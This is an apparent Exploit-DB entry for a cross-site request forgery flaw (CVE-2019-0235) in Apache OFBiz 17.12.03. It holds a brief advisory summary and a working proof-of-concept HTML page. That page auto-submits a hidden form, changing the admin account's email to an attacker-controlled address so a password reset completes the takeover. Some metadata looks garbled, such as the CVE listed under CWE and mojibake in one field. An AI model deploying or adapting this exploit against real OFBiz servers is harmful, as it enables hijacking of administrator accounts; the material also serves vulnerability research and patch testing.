Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)

vendor:

OFBiz

by:

Faiz Ahmed Zaidi

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: OFBiz

Affected Version From: Before 17.12.03

Affected Version To: 17.12.03

Patch Exists: YES

Related CWE: CVE-2019-0235

CPE: ofbiz

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux and Windows

2019

Apache OFBiz 17.12.03 – Cross-Site Request Forgery (Account Takeover)

A Cross-Site Request Forgery (CSRF) vulnerability in Apache OFBiz 17.12.03 allows an attacker to take over an account by sending a malicious request to the server. The malicious request is sent via a form with hidden fields containing the user's information. The form is then submitted using a script. After that, the attacker can do a password reset via the forget password feature.

Mitigation:

The Apache OFBiz team has released a patch for this vulnerability in version 17.12.03. Users should update to the latest version of Apache OFBiz.

Source

Exploit-DB raw data:

# Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)
# Exploit Author: Faiz Ahmed Zaidi
# Vendor Homepage: [https://ofbiz.apache.org/security.html]
# Software Link: https://ofbiz.apache.org/download.html#security
# Version: Before 17.12.03
# Tested on: Linux and Windows
# CVE : CVE-2019-0235

#Exploit Code:

<html>
  <body>
    <form action="https://hostipaddress:8443/partymgr/control/updateEmailAddress" method="POST">
      <input type="hidden" name="contactMechId" value="admin" />
      <input type="hidden" name="contactMechTypeId" value="EMAIL&#95;ADDRESS" />
      <input type="hidden" name="partyId" value="admin" />
      <input type="hidden" name="DONE&#95;PAGE" value="viewprofile&#63;party&#95;id&#61;adminâ&#136;&#130;yId&#61;admin" />
      <input type="hidden" name="emailAddress" value="attackeremail@id.com" />
      <input type="hidden" name="allowSolicitation" value="Y" />
      <input type="submit" value="Submit request" />
    </form>
	<script>
      document.forms[0].submit();
    </script>
  </body>
</html>

After that do a password reset via forget password.
It's done :)